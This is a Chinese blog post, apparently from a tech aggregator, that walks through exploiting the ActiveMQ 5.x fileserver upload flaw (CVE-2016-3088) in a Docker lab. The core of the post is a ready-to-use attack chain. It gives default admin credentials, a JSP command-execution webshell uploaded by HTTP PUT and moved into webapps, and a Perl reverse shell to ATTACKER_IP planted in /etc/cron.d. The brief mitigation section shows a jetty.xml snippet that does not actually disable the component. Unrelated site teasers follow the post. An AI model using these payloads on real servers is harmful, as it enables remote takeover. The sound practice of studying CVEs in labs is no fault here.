news 2026/6/5 3:16:43

手把手复现ActiveMQ 5.x文件上传漏洞(CVE-2016-3088),从写入Webshell到反弹Shell全流程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手复现ActiveMQ 5.x文件上传漏洞(CVE-2016-3088),从写入Webshell到反弹Shell全流程

从文件上传到系统控制:ActiveMQ CVE-2016-3088漏洞深度利用指南

在渗透测试领域,文件上传漏洞往往被视为通往系统控制的黄金门票。ActiveMQ 5.x系列中存在的CVE-2016-3088漏洞,正是这样一个兼具教育意义和实战价值的典型案例。本文将带您深入探索这个漏洞的完整利用链条,从基础的文件上传到复杂的权限提升,构建一个完整的攻击视角。

1. 漏洞环境搭建与基础认知

1.1 漏洞环境快速部署

对于希望快速搭建实验环境的读者,推荐使用Docker容器技术。以下命令可以快速启动一个存在漏洞的ActiveMQ实例:

docker pull vulhub/activemq:5.11.1 docker run -d -p 8161:8161 -p 61616:61616 vulhub/activemq:5.11.1

关键版本信息对比表

ActiveMQ版本fileserver状态漏洞影响
5.11.x及以下默认开启受影响
5.12.x-5.13.x默认关闭需手动开启
5.14.0及以上完全移除不受影响

1.2 漏洞核心原理剖析

该漏洞的核心在于fileserver组件的两个关键特性:

  1. 支持通过HTTP PUT方法上传任意文件
  2. 支持通过MOVE请求移动已上传的文件

攻击者可以分三步完成利用:

  • 上传一个Webshell到fileserver目录
  • 使用MOVE请求将其移动到Web应用目录
  • 访问移动后的Webshell执行系统命令

2. Webshell写入实战流程

2.1 认证信息获取与路径探测

首先需要获取ActiveMQ的管理员凭证和绝对路径。默认情况下,ActiveMQ使用以下凭证:

用户名:admin 密码:admin

通过访问/admin/test/systemProperties.jsp页面可以获取系统路径信息:

GET /admin/test/systemProperties.jsp HTTP/1.1 Host: target:8161 Authorization: Basic YWRtaW46YWRtaW4=

2.2 文件上传与移动技术细节

使用Burp Suite进行漏洞利用时,关键步骤如下:

  1. 上传Webshell文件:
PUT /fileserver/shell.txt HTTP/1.1 Host: target:8161 Content-Type: application/x-www-form-urlencoded Content-Length: 215 <%@ page import="java.io.*"%> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line+"<br>"); } %>
  1. 移动文件到Web目录:
MOVE /fileserver/shell.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/shell.jsp Host: target:8161

常见问题排查表

问题现象可能原因解决方案
403 Forbidden文件已存在使用新文件名
404 Not Found路径错误确认绝对路径
移动成功但无法访问权限问题检查目录权限

3. 高级利用:Crontab反弹Shell

3.1 Docker环境特殊处理

在Docker环境中使用crontab需要特别注意:

  1. 确保cron服务已安装并运行
  2. 检查/etc/cron.d/目录可写
  3. 确认时间同步正确

安装cron服务的命令:

apt-get update && apt-get install -y cron service cron start

3.2 反弹Shell payload构造

一个可靠的Perl反弹Shell payload示例:

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

上传并移动payload的关键请求:

PUT /fileserver/exploit HTTP/1.1 Host: target:8161 Content-Type: text/plain Content-Length: 328 [上述Perl代码] MOVE /fileserver/exploit HTTP/1.1 Destination: file:///etc/cron.d/exploit Host: target:8161

4. 防御策略与漏洞修复

4.1 临时缓解措施

对于无法立即升级的系统,可采取以下措施:

  1. 关闭fileserver组件:
<!-- 修改conf/jetty.xml --> <bean id="fileserver" class="org.eclipse.jetty.webapp.WebAppContext"> <property name="contextPath" value="/fileserver" /> <property name="war" value="${activemq.home}/webapps/fileserver" /> <property name="extractWAR" value="false" /> </bean>
  1. 配置网络ACL限制访问

4.2 长期安全建议

  • 升级到ActiveMQ 5.14.0或更高版本
  • 实施最小权限原则
  • 定期进行安全审计

在实际渗透测试中,理解漏洞背后的原理比单纯复现更重要。通过这个案例,我们不仅掌握了一个特定漏洞的利用方法,更学习到了如何分析、利用和防御这类文件上传漏洞的通用思路。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/5 3:07:58

从TrustZone到GP规范:手把手带你理解Android TEE的软件架构与API调用

深入解析Android TEE架构&#xff1a;从GP规范到实战API调用在移动安全领域&#xff0c;可信执行环境&#xff08;TEE&#xff09;已成为保护敏感数据和关键操作的黄金标准。想象一下&#xff0c;当用户进行移动支付时&#xff0c;指纹数据如何避免被恶意应用窃取&#xff1f;当…

作者头像 李华
网站建设 2026/6/5 3:07:55

用74HC00与非门做个会响的玩具:从电子门铃到简易信号发生器

用74HC00与非门打造趣味电子声效&#xff1a;从门铃到信号发生器的创意实践在电子爱好者的世界里&#xff0c;没有什么比亲手搭建一个会"唱歌"的电路更令人兴奋的了。想象一下&#xff0c;仅用几块钱的芯片和常见元件&#xff0c;就能创造出从门铃到电子琴音效的各种…

作者头像 李华
网站建设 2026/6/5 3:06:55

ABB 016955-001 端子压接工具

016955-001 是 ABB 原厂专用压线钳&#xff0c;专为配套接线端子压接作业研发&#xff0c;是工控线束加工必备工装。工具主体采用高强度合金钢锻造&#xff0c;钳口经过精密铣削定型&#xff0c;型腔尺寸精准匹配对应线规端子&#xff0c;压接成型规整紧实&#xff0c;避免端子…

作者头像 李华
网站建设 2026/6/5 3:04:03

门店商品上下架操作繁琐?批量管理功能一键操作

一、门店经营痛点引入对于餐饮店经营者来说&#xff0c;门店运营效率低&#xff0c;管理不规范。以一家餐饮店为例&#xff0c;日常经营中这类问题屡见不鲜&#xff1a;员工管理效率低下、客户服务体验不佳、运营数据难以追踪。传统的人工管理方式已经无法满足现代门店精细化运…

作者头像 李华
网站建设 2026/6/5 3:02:55

Layerdivider:AI图像分层工具完整指南

Layerdivider&#xff1a;AI图像分层工具完整指南 【免费下载链接】layerdivider A tool to divide a single illustration into a layered structure. 项目地址: https://gitcode.com/gh_mirrors/la/layerdivider 在数字艺术创作的世界中&#xff0c;将完整的插画作品分…

作者头像 李华